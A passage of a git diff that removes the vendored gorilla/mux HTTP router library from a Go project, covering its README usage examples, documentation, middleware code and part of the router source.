subrouter has a path prefix, the inner routes use it as base for their paths: - -```go -r := mux.NewRouter() -s := r.PathPrefix("/products").Subrouter() -// "/products/" -s.HandleFunc("/", ProductsHandler) -// "/products/{key}/" -s.HandleFunc("/{key}/", ProductHandler) -// "/products/{key}/details" -s.HandleFunc("/{key}/details", ProductDetailsHandler) -``` - - -### Static Files - -Note that the path provided to `PathPrefix()` represents a "wildcard": calling -`PathPrefix("/static/").Handler(...)` means that the handler will be passed any -request that matches "/static/\*". This makes it easy to serve static files with mux: - -```go -func main() { - var dir string - - flag.StringVar(&dir, "dir", ".", "the directory to serve files from. Defaults to the current dir") - flag.Parse() - r := mux.NewRouter() - - // This will serve files under http://localhost:8000/static/ - r.PathPrefix("/static/").Handler(http.StripPrefix("/static/", http.FileServer(http.Dir(dir)))) - - srv := &http.Server{ - Handler: r, - Addr: "127.0.0.1:8000", - // Good practice: enforce timeouts for servers you create! - WriteTimeout: 15 * time.Second, - ReadTimeout: 15 * time.Second, - } - - log.Fatal(srv.ListenAndServe()) -} -``` - -### Registered URLs - -Now let's see how to build registered URLs. - -Routes can be named. All routes that define a name can have their URLs built, or "reversed". We define a name calling `Name()` on a route. For example: - -```go -r := mux.NewRouter() -r.HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler). - Name("article") -``` - -To build a URL, get the route and call the `URL()` method, passing a sequence of key/value pairs for the route variables. For the previous route, we would do: - -```go -url, err := r.Get("article").URL("category", "technology", "id", "42") -``` - -...and the result will be a `url.URL` with the following path: - -``` -"/articles/technology/42" -``` - -This also works for host and query value variables: - -```go -r := mux.NewRouter() -r.Host("{subdomain}.domain.com"). - Path("/articles/{category}/{id:[0-9]+}"). - Queries("filter", "{filter}"). - HandlerFunc(ArticleHandler). - Name("article") - -// url.String() will be "http://news.domain.com/articles/technology/42?filter=gorilla" -url, err := r.Get("article").URL("subdomain", "news", - "category", "technology", - "id", "42", - "filter", "gorilla") -``` - -All variables defined in the route are required, and their values must conform to the corresponding patterns. These requirements guarantee that a generated URL will always match a registered route -- the only exception is for explicitly defined "build-only" routes which never match. - -Regex support also exists for matching Headers within a route. For example, we could do: - -```go -r.HeadersRegexp("Content-Type", "application/(text|json)") -``` - -...and the route will match both requests with a Content-Type of `application/json` as well as `application/text` - -There's also a way to build only the URL host or path for a route: use the methods `URLHost()` or `URLPath()` instead. For the previous route, we would do: - -```go -// "http://news.domain.com/" -host, err := r.Get("article").URLHost("subdomain", "news") - -// "/articles/technology/42" -path, err := r.Get("article").URLPath("category", "technology", "id", "42") -``` - -And if you use subrouters, host and path defined separately can be built as well: - -```go -r := mux.NewRouter() -s := r.Host("{subdomain}.domain.com").Subrouter() -s.Path("/articles/{category}/{id:[0-9]+}"). - HandlerFunc(ArticleHandler). - Name("article") - -// "http://news.domain.com/articles/technology/42" -url, err := r.Get("article").URL("subdomain", "news", - "category", "technology", - "id", "42") -``` - -### Walking Routes - -The `Walk` function on `mux.Router` can be used to visit all of the routes that are registered on a router. For example, -the following prints all of the registered routes: - -```go -package main - -import ( - "fmt" - "net/http" - "strings" - - "github.com/gorilla/mux" -) - -func handler(w http.ResponseWriter, r *http.Request) { - return -} - -func main() { - r := mux.NewRouter() - r.HandleFunc("/", handler) - r.HandleFunc("/products", handler).Methods("POST") - r.HandleFunc("/articles", handler).Methods("GET") - r.HandleFunc("/articles/{id}", handler).Methods("GET", "PUT") - r.HandleFunc("/authors", handler).Queries("surname", "{surname}") - err := r.Walk(func(route *mux.Route, router *mux.Router, ancestors []*mux.Route) error { - pathTemplate, err := route.GetPathTemplate() - if err == nil { - fmt.Println("ROUTE:", pathTemplate) - } - pathRegexp, err := route.GetPathRegexp() - if err == nil { - fmt.Println("Path regexp:", pathRegexp) - } - queriesTemplates, err := route.GetQueriesTemplates() - if err == nil { - fmt.Println("Queries templates:", strings.Join(queriesTemplates, ",")) - } - queriesRegexps, err := route.GetQueriesRegexp() - if err == nil { - fmt.Println("Queries regexps:", strings.Join(queriesRegexps, ",")) - } - methods, err := route.GetMethods() - if err == nil { - fmt.Println("Methods:", strings.Join(methods, ",")) - } - fmt.Println() - return nil - }) - - if err != nil { - fmt.Println(err) - } - - http.Handle("/", r) -} -``` - -### Graceful Shutdown - -Go 1.8 introduced the ability to [gracefully shutdown](https://golang.org/doc/go1.8#http_shutdown) a `*http.Server`. Here's how to do that alongside `mux`: - -```go -package main - -import ( - "context" - "flag" - "log" - "net/http" - "os" - "os/signal" - "time" - - "github.com/gorilla/mux" -) - -func main() { - var wait time.Duration - flag.DurationVar(&wait, "graceful-timeout", time.Second * 15, "the duration for which the server gracefully wait for existing connections to finish - e.g. 15s or 1m") - flag.Parse() - - r := mux.NewRouter() - // Add your routes as needed - - srv := &http.Server{ - Addr: "0.0.0.0:8080", - // Good practice to set timeouts to avoid Slowloris attacks. - WriteTimeout: time.Second * 15, - ReadTimeout: time.Second * 15, - IdleTimeout: time.Second * 60, - Handler: r, // Pass our instance of gorilla/mux in. - } - - // Run our server in a goroutine so that it doesn't block. - go func() { - if err := srv.ListenAndServe(); err != nil { - log.Println(err) - } - }() - - c := make(chan os.Signal, 1) - // We'll accept graceful shutdowns when quit via SIGINT (Ctrl+C) - // SIGKILL, SIGQUIT or SIGTERM (Ctrl+/) will not be caught. - signal.Notify(c, os.Interrupt) - - // Block until we receive our signal. - <-c - - // Create a deadline to wait for. - ctx, cancel := context.WithTimeout(context.Background(), wait) - defer cancel() - // Doesn't block if no connections, but will otherwise wait - // until the timeout deadline. - srv.Shutdown(ctx) - // Optionally, you could run srv.Shutdown in a goroutine and block on - // <-ctx.Done() if your application should wait for other services - // to finalize based on context cancellation. - log.Println("shutting down") - os.Exit(0) -} -``` - -### Middleware - -Mux supports the addition of middlewares to a [Router](https://godoc.org/github.com/gorilla/mux#Router), which are executed in the order they are added if a match is found, including its subrouters. -Middlewares are (typically) small pieces of code which take one request, do something with it, and pass it down to another middleware or the final handler. Some common use cases for middleware are request logging, header manipulation, or `ResponseWriter` hijacking. - -Mux middlewares are defined using the de facto standard type: - -```go -type MiddlewareFunc func(http.Handler) http.Handler -``` - -Typically, the returned handler is a closure which does something with the http.ResponseWriter and http.Request passed to it, and then calls the handler passed as parameter to the MiddlewareFunc. This takes advantage of closures being able access variables from the context where they are created, while retaining the signature enforced by the receivers. - -A very basic middleware which logs the URI of the request being handled could be written as: - -```go -func loggingMiddleware(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - // Do stuff here - log.Println(r.RequestURI) - // Call the next handler, which can be another middleware in the chain, or the final handler. - next.ServeHTTP(w, r) - }) -} -``` - -Middlewares can be added to a router using `Router.Use()`: - -```go -r := mux.NewRouter() -r.HandleFunc("/", handler) -r.Use(loggingMiddleware) -``` - -A more complex authentication middleware, which maps session token to users, could be written as: - -```go -// Define our struct -type authenticationMiddleware struct { - tokenUsers map[string]string -} - -// Initialize it somewhere -func (amw *authenticationMiddleware) Populate() { - amw.tokenUsers["00000000"] = "user0" - amw.tokenUsers["aaaaaaaa"] = "userA" - amw.tokenUsers["05f717e5"] = "randomUser" - amw.tokenUsers["deadbeef"] = "user0" -} - -// Middleware function, which will be called for each request -func (amw *authenticationMiddleware) Middleware(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - token := r.Header.Get("X-Session-Token") - - if user, found := amw.tokenUsers[token]; found { - // We found the token in our map - log.Printf("Authenticated user %s\n", user) - // Pass down the request to the next middleware (or final handler) - next.ServeHTTP(w, r) - } else { - // Write an error and stop the handler chain - http.Error(w, "Forbidden", http.StatusForbidden) - } - }) -} -``` - -```go -r := mux.NewRouter() -r.HandleFunc("/", handler) - -amw := authenticationMiddleware{} -amw.Populate() - -r.Use(amw.Middleware) -``` - -Note: The handler chain will be stopped if your middleware doesn't call `next.ServeHTTP()` with the corresponding parameters. This can be used to abort a request if the middleware writer wants to. Middlewares _should_ write to `ResponseWriter` if they _are_ going to terminate the request, and they _should not_ write to `ResponseWriter` if they _are not_ going to terminate it. - -### Testing Handlers - -Testing handlers in a Go web application is straightforward, and _mux_ doesn't complicate this any further. Given two files: `endpoints.go` and `endpoints_test.go`, here's how we'd test an application using _mux_. - -First, our simple HTTP handler: - -```go -// endpoints.go -package main - -func HealthCheckHandler(w http.ResponseWriter, r *http.Request) { - // A very simple health check. - w.WriteHeader(http.StatusOK) - w.Header().Set("Content-Type", "application/json") - - // In the future we could report back on the status of our DB, or our cache - // (e.g. Redis) by performing a simple PING, and include them in the response. - io.WriteString(w, `{"alive": true}`) -} - -func main() { - r := mux.NewRouter() - r.HandleFunc("/health", HealthCheckHandler) - - log.Fatal(http.ListenAndServe("localhost:8080", r)) -} -``` - -Our test code: - -```go -// endpoints_test.go -package main - -import ( - "net/http" - "net/http/httptest" - "testing" -) - -func TestHealthCheckHandler(t *testing.T) { - // Create a request to pass to our handler. We don't have any query parameters for now, so we'll - // pass 'nil' as the third parameter. - req, err := http.NewRequest("GET", "/health", nil) - if err != nil { - t.Fatal(err) - } - - // We create a ResponseRecorder (which satisfies http.ResponseWriter) to record the response. - rr := httptest.NewRecorder() - handler := http.HandlerFunc(HealthCheckHandler) - - // Our handlers satisfy http.Handler, so we can call their ServeHTTP method - // directly and pass in our Request and ResponseRecorder. - handler.ServeHTTP(rr, req) - - // Check the status code is what we expect. - if status := rr.Code; status != http.StatusOK { - t.Errorf("handler returned wrong status code: got %v want %v", - status, http.StatusOK) - } - - // Check the response body is what we expect. - expected := `{"alive": true}` - if rr.Body.String() != expected { - t.Errorf("handler returned unexpected body: got %v want %v", - rr.Body.String(), expected) - } -} -``` - -In the case that our routes have [variables](#examples), we can pass those in the request. We could write -[table-driven tests](https://dave.cheney.net/2013/06/09/writing-table-driven-tests-in-go) to test multiple -possible route variables as needed. - -```go -// endpoints.go -func main() { - r := mux.NewRouter() - // A route with a route variable: - r.HandleFunc("/metrics/{type}", MetricsHandler) - - log.Fatal(http.ListenAndServe("localhost:8080", r)) -} -``` - -Our test file, with a table-driven test of `routeVariables`: - -```go -// endpoints_test.go -func TestMetricsHandler(t *testing.T) { - tt := []struct{ - routeVariable string - shouldPass bool - }{ - {"goroutines", true}, - {"heap", true}, - {"counters", true}, - {"queries", true}, - {"adhadaeqm3k", false}, - } - - for _, tc := range tt { - path := fmt.Sprintf("/metrics/%s", tc.routeVariable) - req, err := http.NewRequest("GET", path, nil) - if err != nil { - t.Fatal(err) - } - - rr := httptest.NewRecorder() - - // Need to create a router that we can pass the request through so that the vars will be added to the context - router := mux.NewRouter() - router.HandleFunc("/metrics/{type}", MetricsHandler) - router.ServeHTTP(rr, req) - - // In this case, our MetricsHandler returns a non-200 response - // for a route variable it doesn't know about. - if rr.Code == http.StatusOK && !tc.shouldPass { - t.Errorf("handler should have failed on routeVariable %s: got %v want %v", - tc.routeVariable, rr.Code, http.StatusOK) - } - } -} -``` - -## Full Example - -Here's a complete, runnable example of a small `mux` based server: - -```go -package main - -import ( - "net/http" - "log" - "github.com/gorilla/mux" -) - -func YourHandler(w http.ResponseWriter, r *http.Request) { - w.Write([]byte("Gorilla!\n")) -} - -func main() { - r := mux.NewRouter() - // Routes consist of a path and a handler function. - r.HandleFunc("/", YourHandler) - - // Bind to a port and pass our router in - log.Fatal(http.ListenAndServe(":8000", r)) -} -``` - -## License - -BSD licensed. See the LICENSE file for details. diff --git a/vendor/github.com/gorilla/mux/context_gorilla.go b/vendor/github.com/gorilla/mux/context_gorilla.go deleted file mode 100644 index d7adaa8fad..0000000000 --- a/vendor/github.com/gorilla/mux/context_gorilla.go +++ /dev/null @@ -1,26 +0,0 @@ -// +build !go1.7 - -package mux - -import ( - "net/http" - - "github.com/gorilla/context" -) - -func contextGet(r *http.Request, key interface{}) interface{} { - return context.Get(r, key) -} - -func contextSet(r *http.Request, key, val interface{}) *http.Request { - if val == nil { - return r - } - - context.Set(r, key, val) - return r -} - -func contextClear(r *http.Request) { - context.Clear(r) -} diff --git a/vendor/github.com/gorilla/mux/context_native.go b/vendor/github.com/gorilla/mux/context_native.go deleted file mode 100644 index 209cbea7d6..0000000000 --- a/vendor/github.com/gorilla/mux/context_native.go +++ /dev/null @@ -1,24 +0,0 @@ -// +build go1.7 - -package mux - -import ( - "context" - "net/http" -) - -func contextGet(r *http.Request, key interface{}) interface{} { - return r.Context().Value(key) -} - -func contextSet(r *http.Request, key, val interface{}) *http.Request { - if val == nil { - return r - } - - return r.WithContext(context.WithValue(r.Context(), key, val)) -} - -func contextClear(r *http.Request) { - return -} diff --git a/vendor/github.com/gorilla/mux/doc.go b/vendor/github.com/gorilla/mux/doc.go deleted file mode 100644 index 38957deead..0000000000 --- a/vendor/github.com/gorilla/mux/doc.go +++ /dev/null @@ -1,306 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package mux implements a request router and dispatcher. - -The name mux stands for "HTTP request multiplexer". Like the standard -http.ServeMux, mux.Router matches incoming requests against a list of -registered routes and calls a handler for the route that matches the URL -or other conditions. The main features are: - - * Requests can be matched based on URL host, path, path prefix, schemes, - header and query values, HTTP methods or using custom matchers. - * URL hosts, paths and query values can have variables with an optional - regular expression. - * Registered URLs can be built, or "reversed", which helps maintaining - references to resources. - * Routes can be used as subrouters: nested routes are only tested if the - parent route matches. This is useful to define groups of routes that - share common conditions like a host, a path prefix or other repeated - attributes. As a bonus, this optimizes request matching. - * It implements the http.Handler interface so it is compatible with the - standard http.ServeMux. - -Let's start registering a couple of URL paths and handlers: - - func main() { - r := mux.NewRouter() - r.HandleFunc("/", HomeHandler) - r.HandleFunc("/products", ProductsHandler) - r.HandleFunc("/articles", ArticlesHandler) - http.Handle("/", r) - } - -Here we register three routes mapping URL paths to handlers. This is -equivalent to how http.HandleFunc() works: if an incoming request URL matches -one of the paths, the corresponding handler is called passing -(http.ResponseWriter, *http.Request) as parameters. - -Paths can have variables. They are defined using the format {name} or -{name:pattern}. If a regular expression pattern is not defined, the matched -variable will be anything until the next slash. For example: - - r := mux.NewRouter() - r.HandleFunc("/products/{key}", ProductHandler) - r.HandleFunc("/articles/{category}/", ArticlesCategoryHandler) - r.HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler) - -Groups can be used inside patterns, as long as they are non-capturing (?:re). For example: - - r.HandleFunc("/articles/{category}/{sort:(?:asc|desc|new)}", ArticlesCategoryHandler) - -The names are used to create a map of route variables which can be retrieved -calling mux.Vars(): - - vars := mux.Vars(request) - category := vars["category"] - -Note that if any capturing groups are present, mux will panic() during parsing. To prevent -this, convert any capturing groups to non-capturing, e.g. change "/{sort:(asc|desc)}" to -"/{sort:(?:asc|desc)}". This is a change from prior versions which behaved unpredictably -when capturing groups were present. - -And this is all you need to know about the basic usage. More advanced options -are explained below. - -Routes can also be restricted to a domain or subdomain. Just define a host -pattern to be matched. They can also have variables: - - r := mux.NewRouter() - // Only matches if domain is "www.example.com". - r.Host("www.example.com") - // Matches a dynamic subdomain. - r.Host("{subdomain:[a-z]+}.domain.com") - -There are several other matchers that can be added. To match path prefixes: - - r.PathPrefix("/products/") - -...or HTTP methods: - - r.Methods("GET", "POST") - -...or URL schemes: - - r.Schemes("https") - -...or header values: - - r.Headers("X-Requested-With", "XMLHttpRequest") - -...or query values: - - r.Queries("key", "value") - -...or to use a custom matcher function: - - r.MatcherFunc(func(r *http.Request, rm *RouteMatch) bool { - return r.ProtoMajor == 0 - }) - -...and finally, it is possible to combine several matchers in a single route: - - r.HandleFunc("/products", ProductsHandler). - Host("www.example.com"). - Methods("GET"). - Schemes("http") - -Setting the same matching conditions again and again can be boring, so we have -a way to group several routes that share the same requirements. -We call it "subrouting". - -For example, let's say we have several URLs that should only match when the -host is "www.example.com". Create a route for that host and get a "subrouter" -from it: - - r := mux.NewRouter() - s := r.Host("www.example.com").Subrouter() - -Then register routes in the subrouter: - - s.HandleFunc("/products/", ProductsHandler) - s.HandleFunc("/products/{key}", ProductHandler) - s.HandleFunc("/articles/{category}/{id:[0-9]+}"), ArticleHandler) - -The three URL paths we registered above will only be tested if the domain is -"www.example.com", because the subrouter is tested first. This is not -only convenient, but also optimizes request matching. You can create -subrouters combining any attribute matchers accepted by a route. - -Subrouters can be used to create domain or path "namespaces": you define -subrouters in a central place and then parts of the app can register its -paths relatively to a given subrouter. - -There's one more thing about subroutes. When a subrouter has a path prefix, -the inner routes use it as base for their paths: - - r := mux.NewRouter() - s := r.PathPrefix("/products").Subrouter() - // "/products/" - s.HandleFunc("/", ProductsHandler) - // "/products/{key}/" - s.HandleFunc("/{key}/", ProductHandler) - // "/products/{key}/details" - s.HandleFunc("/{key}/details", ProductDetailsHandler) - -Note that the path provided to PathPrefix() represents a "wildcard": calling -PathPrefix("/static/").Handler(...) means that the handler will be passed any -request that matches "/static/*". This makes it easy to serve static files with mux: - - func main() { - var dir string - - flag.StringVar(&dir, "dir", ".", "the directory to serve files from. Defaults to the current dir") - flag.Parse() - r := mux.NewRouter() - - // This will serve files under http://localhost:8000/static/ - r.PathPrefix("/static/").Handler(http.StripPrefix("/static/", http.FileServer(http.Dir(dir)))) - - srv := &http.Server{ - Handler: r, - Addr: "127.0.0.1:8000", - // Good practice: enforce timeouts for servers you create! - WriteTimeout: 15 * time.Second, - ReadTimeout: 15 * time.Second, - } - - log.Fatal(srv.ListenAndServe()) - } - -Now let's see how to build registered URLs. - -Routes can be named. All routes that define a name can have their URLs built, -or "reversed". We define a name calling Name() on a route. For example: - - r := mux.NewRouter() - r.HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler). - Name("article") - -To build a URL, get the route and call the URL() method, passing a sequence of -key/value pairs for the route variables. For the previous route, we would do: - - url, err := r.Get("article").URL("category", "technology", "id", "42") - -...and the result will be a url.URL with the following path: - - "/articles/technology/42" - -This also works for host and query value variables: - - r := mux.NewRouter() - r.Host("{subdomain}.domain.com"). - Path("/articles/{category}/{id:[0-9]+}"). - Queries("filter", "{filter}"). - HandlerFunc(ArticleHandler). - Name("article") - - // url.String() will be "http://news.domain.com/articles/technology/42?filter=gorilla" - url, err := r.Get("article").URL("subdomain", "news", - "category", "technology", - "id", "42", - "filter", "gorilla") - -All variables defined in the route are required, and their values must -conform to the corresponding patterns. These requirements guarantee that a -generated URL will always match a registered route -- the only exception is -for explicitly defined "build-only" routes which never match. - -Regex support also exists for matching Headers within a route. For example, we could do: - - r.HeadersRegexp("Content-Type", "application/(text|json)") - -...and the route will match both requests with a Content-Type of `application/json` as well as -`application/text` - -There's also a way to build only the URL host or path for a route: -use the methods URLHost() or URLPath() instead. For the previous route, -we would do: - - // "http://news.domain.com/" - host, err := r.Get("article").URLHost("subdomain", "news") - - // "/articles/technology/42" - path, err := r.Get("article").URLPath("category", "technology", "id", "42") - -And if you use subrouters, host and path defined separately can be built -as well: - - r := mux.NewRouter() - s := r.Host("{subdomain}.domain.com").Subrouter() - s.Path("/articles/{category}/{id:[0-9]+}"). - HandlerFunc(ArticleHandler). - Name("article") - - // "http://news.domain.com/articles/technology/42" - url, err := r.Get("article").URL("subdomain", "news", - "category", "technology", - "id", "42") - -Mux supports the addition of middlewares to a Router, which are executed in the order they are added if a match is found, including its subrouters. Middlewares are (typically) small pieces of code which take one request, do something with it, and pass it down to another middleware or the final handler. Some common use cases for middleware are request logging, header manipulation, or ResponseWriter hijacking. - - type MiddlewareFunc func(http.Handler) http.Handler - -Typically, the returned handler is a closure which does something with the http.ResponseWriter and http.Request passed to it, and then calls the handler passed as parameter to the MiddlewareFunc (closures can access variables from the context where they are created). - -A very basic middleware which logs the URI of the request being handled could be written as: - - func simpleMw(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - // Do stuff here - log.Println(r.RequestURI) - // Call the next handler, which can be another middleware in the chain, or the final handler. - next.ServeHTTP(w, r) - }) - } - -Middlewares can be added to a router using `Router.Use()`: - - r := mux.NewRouter() - r.HandleFunc("/", handler) - r.Use(simpleMw) - -A more complex authentication middleware, which maps session token to users, could be written as: - - // Define our struct - type authenticationMiddleware struct { - tokenUsers map[string]string - } - - // Initialize it somewhere - func (amw *authenticationMiddleware) Populate() { - amw.tokenUsers["00000000"] = "user0" - amw.tokenUsers["aaaaaaaa"] = "userA" - amw.tokenUsers["05f717e5"] = "randomUser" - amw.tokenUsers["deadbeef"] = "user0" - } - - // Middleware function, which will be called for each request - func (amw *authenticationMiddleware) Middleware(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - token := r.Header.Get("X-Session-Token") - - if user, found := amw.tokenUsers[token]; found { - // We found the token in our map - log.Printf("Authenticated user %s\n", user) - next.ServeHTTP(w, r) - } else { - http.Error(w, "Forbidden", http.StatusForbidden) - } - }) - } - - r := mux.NewRouter() - r.HandleFunc("/", handler) - - amw := authenticationMiddleware{} - amw.Populate() - - r.Use(amw.Middleware) - -Note: The handler chain will be stopped if your middleware doesn't call `next.ServeHTTP()` with the corresponding parameters. This can be used to abort a request if the middleware writer wants to. - -*/ -package mux diff --git a/vendor/github.com/gorilla/mux/middleware.go b/vendor/github.com/gorilla/mux/middleware.go deleted file mode 100644 index ceb812cee2..0000000000 --- a/vendor/github.com/gorilla/mux/middleware.go +++ /dev/null @@ -1,72 +0,0 @@ -package mux - -import ( - "net/http" - "strings" -) - -// MiddlewareFunc is a function which receives an http.Handler and returns another http.Handler. -// Typically, the returned handler is a closure which does something with the http.ResponseWriter and http.Request passed -// to it, and then calls the handler passed as parameter to the MiddlewareFunc. -type MiddlewareFunc func(http.Handler) http.Handler - -// middleware interface is anything which implements a MiddlewareFunc named Middleware. -type middleware interface { - Middleware(handler http.Handler) http.Handler -} - -// Middleware allows MiddlewareFunc to implement the middleware interface. -func (mw MiddlewareFunc) Middleware(handler http.Handler) http.Handler { - return mw(handler) -} - -// Use appends a MiddlewareFunc to the chain. Middleware can be used to intercept or otherwise modify requests and/or responses, and are executed in the order that they are applied to the Router. -func (r *Router) Use(mwf ...MiddlewareFunc) { - for _, fn := range mwf { - r.middlewares = append(r.middlewares, fn) - } -} - -// useInterface appends a middleware to the chain. Middleware can be used to intercept or otherwise modify requests and/or responses, and are executed in the order that they are applied to the Router. -func (r *Router) useInterface(mw middleware) { - r.middlewares = append(r.middlewares, mw) -} - -// CORSMethodMiddleware sets the Access-Control-Allow-Methods response header -// on a request, by matching routes based only on paths. It also handles -// OPTIONS requests, by settings Access-Control-Allow-Methods, and then -// returning without calling the next http handler. -func CORSMethodMiddleware(r *Router) MiddlewareFunc { - return func(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { - var allMethods []string - - err := r.Walk(func(route *Route, _ *Router, _ []*Route) error { - for _, m := range route.matchers { - if _, ok := m.(*routeRegexp); ok { - if m.Match(req, &RouteMatch{}) { - methods, err := route.GetMethods() - if err != nil { - return err - } - - allMethods = append(allMethods, methods...) - } - break - } - } - return nil - }) - - if err == nil { - w.Header().Set("Access-Control-Allow-Methods", strings.Join(append(allMethods, "OPTIONS"), ",")) - - if req.Method == "OPTIONS" { - return - } - } - - next.ServeHTTP(w, req) - }) - } -} diff --git a/vendor/github.com/gorilla/mux/mux.go b/vendor/github.com/gorilla/mux/mux.go deleted file mode 100644 index 4bbafa51da..0000000000 --- a/vendor/github.com/gorilla/mux/mux.go +++ /dev/null @@ -1,588 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package mux - -import ( - "errors" - "fmt" - "net/http" - "path" - "regexp" -) - -var ( - // ErrMethodMismatch is returned when the method in the request does not match - // the method defined against the route. - ErrMethodMismatch = errors.New("method is not allowed") - // ErrNotFound is returned when no route match is found. - ErrNotFound = errors.New("no matching route was found") -) - -// NewRouter returns a new router instance. -func NewRouter() *Router { - return &Router{namedRoutes: make(map[string]*Route), KeepContext: false} -} - -// Router registers routes to be matched and dispatches a handler. -// -// It implements the http.Handler interface, so it can be registered to serve -// requests: -// -// var router = mux.NewRouter() -// -// func main() { -// http.Handle("/", router) -// } -// -// Or, for Google App Engine, register it in a init() function: -// -// func init() { -// http.Handle("/", router) -// } -// -// This will send all incoming requests to the router. -type Router struct { - // Configurable Handler to be used when no route matches. - NotFoundHandler http.Handler - - // Configurable Handler to be used when the request method does not match the route. - MethodNotAllowedHandler http.Handler - - // Parent route, if this is a subrouter. - parent parentRoute - // Routes to be matched, in order. - routes []*Route - // Routes by name for URL building. - namedRoutes map[string]*Route - // See Router.StrictSlash(). This defines the flag for new routes. - strictSlash bool - // See Router.SkipClean(). This defines the flag for new routes. - skipClean bool - // If true, do not clear the request context after handling the request. - // This has no effect when go1.7+ is used, since the context is stored - // on the request itself. - KeepContext bool - // see Router.UseEncodedPath(). This defines a flag for all routes. - useEncodedPath bool - // Slice of middlewares to be called after a match is found - middlewares []middleware -} - -// Match attempts to match the given request against the router's registered routes. -// -// If the request matches a route of this router or one of its subrouters the Route, -// Handler, and Vars fields of the the match argument are filled and this function -// returns true. -// -// If the request does not match any of this router's or its subrouters' routes -// then this function returns false. If available, a reason for the match failure -// will be filled in the match argument's MatchErr field. If the match failure type -// (eg: not found) has a registered handler, the handler is assigned to the Handler -// field of the match argument. -func (r *Router) Match(req *http.Request, match *RouteMatch) bool { - for _, route := range r.routes { - if route.Match(req, match) { - // Build middleware chain if no error was found - if match.MatchErr == nil { - for i := len(r.middlewares) - 1; i >= 0; i-- { - match.Handler = r.middlewares[i].Middleware(match.Handler) - } - } - return true - } - } - - if match.MatchErr == ErrMethodMismatch { - if r.MethodNotAllowedHandler != nil { - match.Handler = r.MethodNotAllowedHandler - return true - } - - return false - } - - // Closest match for a router (includes sub-routers) - if r.NotFoundHandler != nil { - match.Handler = r.NotFoundHandler - match.MatchErr = ErrNotFound - return true - } - - match.MatchErr = ErrNotFound - return false -} - -// ServeHTTP dispatches the handler registered in the matched route. -// -// When there is a match, the route variables can be retrieved calling -// mux.Vars(request). -func (r *Router) ServeHTTP(w http.ResponseWriter, req *http.Request) { - if !r.skipClean { - path := req.URL.Path - if r.useEncodedPath { - path = req.URL.EscapedPath() - } - // Clean path to canonical form and redirect. - if p := cleanPath(path); p != path { - - // Added 3 lines (Philip Schlump) - It was dropping the query string and #whatever from query. - // This matches with fix in go 1.2 r.c. 4 for same problem. Go Issue: - // http://code.google.com/p/go/issues/detail?id=5252 - url := *req.URL - url.Path = p - p = url.String() - - w.Header().Set("Location", p) - w.WriteHeader(http.StatusMovedPermanently) - return - } - } - var match RouteMatch - var handler http.Handler - if r.Match(req, &match) { - handler = match.Handler - req = setVars(req, match.Vars) - req = setCurrentRoute(req, match.Route) - } - - if handler == nil && match.MatchErr == ErrMethodMismatch { - handler = methodNotAllowedHandler() - } - - if handler == nil { - handler = http.NotFoundHandler() - } - - if !r.KeepContext { - defer contextClear(req) - } - - handler.ServeHTTP(w, req) -} - -// Get returns a route registered with the given name. -func (r *Router) Get(name string) *Route { - return r.getNamedRoutes()[name] -} - -// GetRoute returns a route registered with the given name. This method -// was renamed to Get() and remains here for backwards compatibility. -func (r *Router) GetRoute(name string) *Route { - return r.getNamedRoutes()[name] -} - -// StrictSlash defines the trailing slash behavior for new routes. The initial -// value is false. -// -// When true, if the route path is "/path/", accessing "/path" will perform a redirect -// to the former and vice versa. In other words, your application will always -// see the path as specified in the route. -// -// When false, if the route path is "/path", accessing "/path/" will not match -// this route and vice versa. -// -// The re-direct is a HTTP 301 (Moved Permanently). Note that when this is set for -// routes with a non-idempotent method (e.g. POST, PUT), the subsequent re-directed -// request will be made as a GET by most clients. Use middleware or client settings -// to modify this behaviour as needed. -// -// Special case: when a route sets a path prefix using the PathPrefix() method, -// strict slash is ignored for that route because the redirect behavior can't -// be determined from a prefix alone. However, any subrouters created from that -// route inherit the original StrictSlash setting. -func (r *Router) StrictSlash(value bool) *Router { - r.strictSlash = value - return r -} - -// SkipClean defines the path cleaning behaviour for new routes. The initial -// value is false. Users should be careful about which routes are not cleaned -// -// When true, if the route path is "/path//to", it will remain with the double -// slash. This is helpful if you have a route like: /fetch/http://xkcd.com/534/ -// -// When false, the path will be cleaned, so /fetch/http://xkcd.com/534/ will -// become /fetch/http/xkcd.com/534 -func (r *Router) SkipClean(value bool) *Router { - r.skipClean = value - return r -} - -// UseEncodedPath tells the router to match the encoded original path -// to the routes. -// For eg. "/path/foo%2Fbar/to" will match the path "/path/{var}/to". -// -// If not called, the router will match the unencoded path to the routes. -// For eg. "/path/foo%2Fbar/to" will match the path "/path/foo/bar/to" -func (r *Router) UseEncodedPath() *Router { - r.useEncodedPath = true - return r -} - -// ---------------------------------------------------------------------------- -// parentRoute -// ---------------------------------------------------------------------------- - -func (r *Router) getBuildScheme() string { - if r.parent != nil { - return r.parent.getBuildScheme() - } - return "" -} - -// getNamedRoutes returns the map where named routes are registered. -func (r *Router) getNamedRoutes() map[string]*Route { - if r.namedRoutes == nil { - if r.parent != nil { - r.namedRoutes = r.parent.getNamedRoutes() - } else { - r.namedRoutes = make(map[string]*Route) - } - } - return r.namedRoutes -} - -// getRegexpGroup returns regexp definitions from the parent route, if any. -func (r *Router) getRegexpGroup() *routeRegexpGroup { - if r.parent != nil { - return r.parent.getRegexpGroup() - } - return nil -} - -func (r *Router) buildVars(m map[string]string) map[string]string { - if r.parent != nil { - m = r.parent.buildVars(m) - } - return m -} - -// ---------------------------------------------------------------------------- -// Route factories -// ---------------------------------------------------------------------------- - -// NewRoute registers an empty route. -func (r *Router) NewRoute() *Route { - route := &Route{parent: r, strictSlash: r.strictSlash, skipClean: r.skipClean, useEncodedPath: r.useEncodedPath} - r.routes = append(r.routes, route) - return route -} - -// Handle registers a 